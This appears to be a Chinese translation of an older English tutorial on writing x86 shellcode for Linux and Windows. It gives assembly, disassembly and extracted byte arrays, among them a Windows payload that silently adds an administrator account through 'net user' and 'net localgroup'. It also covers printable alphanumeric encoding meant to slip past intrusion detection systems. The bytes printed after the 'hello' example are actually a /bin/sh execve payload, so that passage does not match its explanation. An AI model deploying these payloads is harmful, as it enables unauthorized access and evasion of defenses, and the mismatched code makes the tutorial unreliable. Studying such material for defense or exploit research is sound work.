Shellcoding for Linux and Windows Tutorial
几年前的老文章 看到顺便翻译了一下文中所有资源都可以在原文地址中取得:)
http://www.vividmachines.com/shellcode/shellcode.html
背景知识:
1.EAX,EBX,ECX,EDX等所有基于x86平台的32位通用寄存器
2.AH,BH,CH,DH等是通用寄存器的高16位
3.AL,BL,CL,DL等是通用寄存器的低16位
4.ESI和EDI寄存器是用来执行Linux系统调用的通用寄存器
5.XOR EAX,EAX是最快将寄存器置为0的方法
6.在windows下,所有函数参数都是通过栈来传递的
工具需求:gcc
ld
nasm
objdump
可选工具:odfhex.c:一款作者开发的,从“objdump -d”中提取出shellcode并且将它转换成不被检测的十六进制代码
arwin.c:一款作者开发的,通过特定DLL用来找到windows下函数的绝对地址的工具
shellcodetest.c:一个测试shellcode的小工具
exit.asm hello.asm msgbox.asm shellex.asm sleep.asm adduser.asm 文中源码(在Windows XP SP1下写成)
Linux Shellcoding
当我们要测试shellcode时,最好把它放在程序里让它跑起来。这个C程序将被用来测试我们所有的代码
<pre name="code" class="cpp"><span style="font-family: SimSun;">/*shellcodetest.c*/</span>
<span style="font-family: SimSun;">char code[] = "bytecode will go here!";</span>
<span style="font-family: SimSun;">int main(int argc, char **argv)</span>
<span style="font-family: SimSun;">{ </span>
<span style="font-family: SimSun;"><span> </span>int (*func)(); </span>
<span style="font-family: SimSun;"><span> </span>func = (int (*)()) code; </span>
<span style="font-family: SimSun;"><span> </span>(int)(*func)();</span>
<span style="font-family: SimSun;">}</span>
例1:快速退出
用exit做shellcode示例是最好不过了,因为它很简单。
下面是一些用来调用exit函数的简单汇编代码。
请注意al和XOR操作都是为了保证我们的代码里没有NULL符号。
<span style="font-family: SimSun;">;exit.asm
[SECTION .text]
global _start
_start:
xor eax, eax ;exit is syscall 1
mov al, 1 ;exit is syscall 1
xor ebx,ebx ;zero out ebx
int 0x80
</span>
通过下面几步来编译和提取这段代码:
<span style="font-family: SimSun;">steve hanna@1337b0x:~$ nasm -f elf exit.asm
steve hanna@1337b0x:~$ ld -o exiter exit.o
steve hanna@1337b0x:~$ objdump -d exiter</span>
反汇编结果如下:
<span style="font-family: SimSun;">08048080 <_start>:
8048080: b0 01 mov $0x1,%al
8048082: 31 db xor %ebx,%ebx
8048084: cd 80 int $0x80</span>
可以看到我们需要的字节是:
<span style="font-family: SimSun;">b0 01 31 db cd 80</span>
用这些字节重写上面的程序:
<span style="font-family: SimSun;">char code[] = "\xb0\x01\x31\xdb\xcd\x80";</span>
现在运行程序。
我们可以看到我们已经有了一段shellcode了 你可以调试以确保程序确实调用了exit函数。
例2:Saying Hello
这个例子中,我们将讲一些更为有用的东西。
在这段代码中,我们将会看到如何在程序运行时如何找到字符串的地址。
这是非常重要的一点,因为在运行shellcode通常是在一个未知的环境下,shellcode的地址通常也是未知的因为它不
总是运行在一段相同的地址空间中。
<span style="font-family: SimSun;">;hello.asm
[SECTION .text]
global _start
_start:
jmp short ender
starter:
xor eax, eax ;clean up the registers
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov al, 4 ;syscall write
mov bl, 1 ;stdout is 1
pop ecx ;get the address of the string from the stack
mov dl, 5 ;length of the string
int 0x80
xor eax, eax
mov al, 1 ;exit the shellcode
xor ebx,ebx
int 0x80
ender:
call starter ;put the address of the string on the stack
db 'hello'</span>
编译:
<span style="font-family: SimSun;">steve hanna@1337b0x:~$ nasm -f elf hello.asm
steve hanna@1337b0x:~$ ld -o hello hello.o
steve hanna@1337b0x:~$ objdump -d hello</span>
反汇编:
<span style="font-family: SimSun;">Disassembly of section .text:
08048080 <_start>:
8048080: eb 19 jmp 804809b
08048082 <starter>:
8048082: 31 c0 xor %eax,%eax
8048084: 31 db xor %ebx,%ebx
8048086: 31 d2 xor %edx,%edx
8048088: 31 c9 xor %ecx,%ecx
804808a: b0 04 mov $0x4,%al
804808c: b3 01 mov $0x1,%bl
804808e: 59 pop %ecx
804808f: b2 05 mov $0x5,%dl
8048091: cd 80 int $0x80
8048093: 31 c0 xor %eax,%eax
8048095: b0 01 mov $0x1,%al
8048097: 31 db xor %ebx,%ebx
8048099: cd 80 int $0x80
0804809b <ender>:
804809b: e8 e2 ff ff ff call 8048082
80480a0: 68 65 6c 6c 6f push $0x6f6c6c65</span>
转换后得到:
char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
这段代码基本提供了一个好的shellcode所拥有的特质,它是一段充分展示了写shellcode技巧的代码。但是注意,shellcode最好由汇编代码写成。
<span style="font-family: SimSun;">the better one is at assembly, the more functional, robust,and most of all evil, one's code will be.</span>
Windows Shellcoding
例1:Sleep is for the Weak
为了写出成功的shellcode,我们应该先确定我们要使用的函数以及该函数所在的绝对地址。比如我们只想要一个线程去sleep一段时间。我们先准备好arwin然后就可以开始了(arwin在上面可以找到)。记住,唯一一个保证进入进程空间的模块是kernel32.dll。所以在这个例子里,sleep看起来像是最简单的函数,仅仅需要接收一个时间参数,线程便会挂起与之相应的时间。
<span style="font-family: SimSun;">G:\> arwin kernel32.dll Sleep
arwin - win32 address resolution program - by steve hanna - v.01
Sleep is located at 0x77e61bea in kernel32.dll</span>
<span style="font-family: SimSun;">;sleep.asm
[SECTION .text]
global _start
_start:
xor eax,eax
mov ebx, 0x77e61bea ;address of Sleep
mov ax, 5000 ;pause for 5000ms
push eax
call ebx ;Sleep(ms);
```
```
steve hanna@1337b0x:~$ nasm -f elf sleep.asm; ld -o sleep sleep.o; objdump -d sleep
sleep: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: bb ea 1b e6 77 mov $0x77e61bea,%ebx
8048087: 66 b8 88 13 mov $0x1388,%ax
804808b: 50 push %eax
804808c: ff d3 call *%ebx</span>
提取字符替换之后Replace the code at the top with:
<span style="font-family: SimSun;">char code[] = "\x31\xc0\xbb\xea\x1b\xe6\x77\x66\xb8\x88\x13\x50\xff\xd3";</span>
当段代码被插入到进程中时它会使主线程挂起五秒钟。(注意:这可能让你的电脑崩溃因为你的堆栈正好在这时爆了:D)
例2:A Message to say "Hey"
第二个例子事实上很有用处,因为他将会展示你利用shellcode所能做的事情。尽管这个例子并不会弹出一个对话框然后对你说hey,但是它展示了绝对地址与使用了LoadLibrary和GetProAddress的相对地址。我们将要使用的库函数有LoadLibraryA,GetProcAddress,MessageBoxA和ExitProcess。(注意:库函数之后的A代表我们使用的是正常的字符集,对应的,我们使用字母W来表示我们使用了一个更为庞大的字符集,比如说unicode)。让我们准备好arwin然后找到我们需要使用的地址。我们不会去检索MessageBoxA函数的地址,我们将会动态地去加载这个函数的地址。
<span style="font-family: SimSun;">> G:\>arwin kernel32.dll LoadLibraryA
arwin - win32 address resolution program - by steve hanna - v.01
LoadLibraryA is located at 0x77e7d961 in kernel32.dll
G:\>arwin kernel32.dll GetProcAddress
arwin - win32 address resolution program - by steve hanna - v.01
GetProcAddress is located at 0x77e7b332 in kernel32.dll
G:\>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e798fd in kernel32.dll</span>
;msgbox.asm
[SECTION .text]
global _start
_start:
;eax holds return value
;ebx will hold function addresses
;ecx will hold string pointers
;edx will hold NULL
xor eax,eax
xor ebx,ebx ;zero out the registers
xor ecx,ecx
xor edx,edx
jmp short GetLibrary
LibraryReturn:
pop ecx ;get the library string
mov [ecx + 10], dl ;insert NULL
mov ebx, 0x77e7d961 ;LoadLibraryA(libraryname);
push ecx ;beginning of user32.dll
call ebx ;eax will hold the module handle
jmp short FunctionName
FunctionReturn:
pop ecx ;get the address of the Function string
xor edx,edx
mov [ecx + 11],dl ;insert NULL
push ecx
push eax
mov ebx, 0x77e7b332 ;GetProcAddress(hmodule,functionname);
call ebx ;eax now holds the address of MessageBoxA
jmp short Message
MessageReturn:
pop ecx ;get the message string
xor edx,edx
mov [ecx+3],dl ;insert the NULL
xor edx,edx
push edx ;MB_OK
push ecx ;title
push ecx ;message
push edx ;NULL window handle
call eax ;MessageBoxA(windowhandle,msg,title,type); Address
ender:
xor edx,edx
push eax
mov eax, 0x77e798fd ;exitprocess(exitcode);
call eax ;exit cleanly so we don't crash the parent program
;the N at the end of each string signifies the location of the NULL
;character that needs to be inserted
GetLibrary:
call LibraryReturn
db 'user32.dllN'
FunctionName
call FunctionReturn
db 'MessageBoxAN'
Message
call MessageReturn
db 'HeyN'
替换字符串之后可以得到:
char code[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\
"\xe7\x77\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x32"\
"\xb3\xe7\x77\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51"\
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xfd\x98\xe7\x77\xff\xd0\xe8\xc4\xff"\
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"\
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"\
"\xff\x48\x65\x79\x4e";
在这个例子里,我们只是弹了个窗,这阐述了当我们在利用Windows shellcode的时候的几个重要的概念。静态地址在大多数例子中可以作为一个简单暴力的方法,让shellcode在几分钟之内就运行起来。这个例子说明了我们证明了几个特定的DLL确实会进入到进程空间当中去。一旦MessageBoxA函数被关联到ExitProcess时,ExitProcess就会被调用来确保程序正常的结束了(而不是crash了)
例3 Adding an Administrative Account
第三个例子实际上比前几个shellcode要简单一些,但是它可以让入侵者成功地在远程系统上添加一个用户,并且给这个用户管理员特权。这段代码不需要加载什么额外的库进入到进程空间里因为需要被我们调用的函数只有WinExec和ExitProcess。(注意:这段shellcode的灵感是从Metasploit项目中得来的。它们二者之间的不同在于本文中的代码比它的朋友们精简多了,而且加入你移除了ExitProcess函数的话,它还可以变得更小!)
<span style="font-family: SimSun;">G:\>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e798fd in kernel32.dll
G:\>arwin kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x77e6fd35 in kernel32.dll</span>
<span style="font-family: SimSun;">;adduser.asm
[Section .text]
global _start
_start:
jmp short GetCommand
CommandReturn:
pop ebx ;ebx now holds the handle to the string
xor eax,eax
push eax
xor eax,eax ;for some reason the registers can be very volatile, did this just in case
mov [ebx + 89],al ;insert the NULL character
push ebx
mov ebx,0x77e6fd35
call ebx ;call WinExec(path,showcode)
xor eax,eax ;zero the register again, clears winexec retval
push eax
mov ebx, 0x77e798fd
call ebx ;call ExitProcess(0);</span>
<span style="font-family: SimSun;">GetCommand:
;the N at the end of the db will be replaced with a null character
call CommandReturn
db "cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators /ADD USERNAMEN"
steve hanna@1337b0x:~$ nasm -f elf adduser.asm; ld -o adduser adduser.o; objdump -d adduser
adduser: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: eb 1b jmp 804809d
08048082 :
8048082: 5b pop %ebx
8048083: 31 c0 xor %eax,%eax
8048085: 50 push %eax
8048086: 31 c0 xor %eax,%eax
8048088: 88 43 59 mov %al,0x59(%ebx)
804808b: 53 push %ebx
804808c: bb 35 fd e6 77 mov $0x77e6fd35,%ebx
8048091: ff d3 call *%ebx
8048093: 31 c0 xor %eax,%eax
8048095: 50 push %eax
8048096: bb fd 98 e7 77 mov $0x77e798fd,%ebx
804809b: ff d3 call *%ebx
0804809d :
804809d: e8 e0 ff ff ff call 8048082
80480a2: 63 6d 64 arpl %bp,0x64(%ebp)
80480a5: 2e cs
80480a6: 65 gs
80480a7: 78 65 js 804810e
80480a9: 20 2f and %ch,(%edi)
80480ab: 63 20 arpl %sp,(%eax)
80480ad: 6e outsb %ds:(%esi),(%dx)
80480ae: 65 gs
80480af: 74 20 je 80480d1
80480b1: 75 73 jne 8048126
80480b3: 65 gs
80480b4: 72 20 jb 80480d6
80480b6: 55 push %ebp
80480b7: 53 push %ebx
80480b8: 45 inc %ebp
80480b9: 52 push %edx
80480ba: 4e dec %esi
80480bb: 41 inc %ecx
80480bc: 4d dec %ebp
80480bd: 45 inc %ebp
80480be: 20 50 41 and %dl,0x41(%eax)
80480c1: 53 push %ebx
80480c2: 53 push %ebx
80480c3: 57 push %edi
80480c4: 4f dec %edi
80480c5: 52 push %edx
80480c6: 44 inc %esp
80480c7: 20 2f and %ch,(%edi)
80480c9: 41 inc %ecx
80480ca: 44 inc %esp
80480cb: 44 inc %esp
80480cc: 20 26 and %ah,(%esi)
80480ce: 26 20 6e 65 and %ch,%es:0x65(%esi)
80480d2: 74 20 je 80480f4
80480d4: 6c insb (%dx),%es:(%edi)
80480d5: 6f outsl %ds:(%esi),(%dx)
80480d6: 63 61 6c arpl %sp,0x6c(%ecx)
80480d9: 67 72 6f addr16 jb 804814b
80480dc: 75 70 jne 804814e
80480de: 20 41 64 and %al,0x64(%ecx)
80480e1: 6d insl (%dx),%es:(%edi)
80480e2: 69 6e 69 73 74 72 61 imul $0x61727473,0x69(%esi),%ebp
80480e9: 74 6f je 804815a
80480eb: 72 73 jb 8048160
80480ed: 20 2f and %ch,(%edi)
80480ef: 41 inc %ecx
80480f0: 44 inc %esp
80480f1: 44 inc %esp
80480f2: 20 55 53 and %dl,0x53(%ebp)
80480f5: 45 inc %ebp
80480f6: 52 push %edx
80480f7: 4e dec %esi
80480f8: 41 inc %ecx
80480f9: 4d dec %ebp
80480fa: 45 inc %ebp
80480fb: 4e dec %esi</span>
替换字符串之后:
<span style="font-family: SimSun;">char code[] = "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x35\xfd\xe6\x77"\
"\xff\xd3\x31\xc0\x50\xbb\xfd\x98\xe7\x77\xff\xd3\xe8\xe0\xff\xff\xff"\
"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"\
"\x65\x72\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x50\x41\x53\x53\x57"\
"\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c"\
"\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73"\
"\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x55\x53\x45\x52"\
"\x4e\x41\x4d\x45\x4e";</span>
当这段代码执行时,它将会给系统添加一个账户到系统管理员当中,这个账户拥有特定的密码。当这段代码执行完之后,它的父进程将会调用ExitProcess并退出。 shellcode进阶 这部分涵盖了一些编写shellcode过程中的高级话题。未来我还想往这里写更多的东西,但是最近我一直都非常忙碌。如果你对这些话题有特殊的请求,请不要犹豫,马上email给我吧。
printable shellcode
这部分的主题如下:事实上,很多的IDS(Instrustion Detection Systems,即入侵检测系统)可以检测到shellcode,因为这些无法打印的字符在二进制数据里实在是太常见了。如果IDS发现一个包中有太多的NOP和代码,那么它们就倾向于丢掉这个包。更有甚者,将所有非字母数字(alpha-numeric)都给过滤了。这样一来,我们使用可打印的字母数字来编写shellcode的目的已经非常明显了。我们可以实现一个方法,将我们的shellcode块藏在可以打印的字符中。这个部分可能和文中之前的例子有所不同。我们将通过几个具有战略性的小例子来说明这一切
我们的第一步就是要讨论如何混淆我们的一长串NOP。因为当IDS检测到一长串的NOP(0x90)时,它总是倾向于把这个包给丢掉。为了让我们的代码变得更难以检测,我们必须对代码进行一些删减:
OP Code Hex ASCII
inc eax 0x40 @
inc ebx 0x43 C
inc ecx 0x41 A
inc edx 0x42 B
dec eax 0x48 H
dec ebx 0x4B K
dec ecx 0x49 I
dec edx 0x4A J
很明显,如果我们插入这些操作数而不是NOP的话,我们并不会影响输出。这是因为在我们的shellcode中,无论何时我们都拥有寄存器的掌控权,我们可以根据我们的意愿
来给它赋值或者清空它。在我们的shellcode生效之前添加或者删除寄存器中的数值并不会影响我们最终的目的。
所以,我们我下一个部分就是讨论如何将我们的shellcode字母数字化,通过很多看起来很愚蠢的代码。我们必须先找到一些在ascii码范围内的(0x33-0x7e),并且可以是可以打印的字符。
sub eax, 0xHEXINRANGE
push eax
pop eax
push esp
pop esp
and eax, 0xHEXINRANGE
令人惊喜的是,事实上我们可以用这些代码做一切我们想做的事情。我本来不想展示这些图表的,但是我决定要用我美妙的ascii技巧来装点这个世界。你可以在下面找到一个关于建立shellcode的大致计划的图表。
The plan works as follows:
-make space on stack for shellcode and loader
-execute loader code to construct shellcode
-use a NOP bridge to ensure that there aren't any extraneous bytes that will crash our code.
-profit
但是我听到了你吵着说我们不能因此让esp减少,因为它们对可打印的ascii码毫无反应!!!冷静,我这有解决的办法。我们可以通过我们的减法来把值放到EAX中去,然后将这个值push到栈上,最后把这个值pop成ESP
现在你肯定在想我是怎么把值放到EAX里去的,问题是我们不能使用加法,我们也不能直接使用不能打印的字节。我们要怎么克服?我们可以利用这一点:每个寄存器都只有32位,所以如果我们(force a wrap around),
我们就可以把任意的一个值通过可打印的字符再加上两到三个减法操作放到寄存器中
如果你大脑里的齿轮现在已经停止转到了,那么我建议你最好先停止阅读。
The log awaited ASCII diagram
1)
EIP(loader code) --------ALLOCATED STACK SPACE--------ESP
2)
---(loader code)---EIP-------STACK------ESP--(shellcode--
3)
----loadercode---EIP@ESP----shellcode that was builts---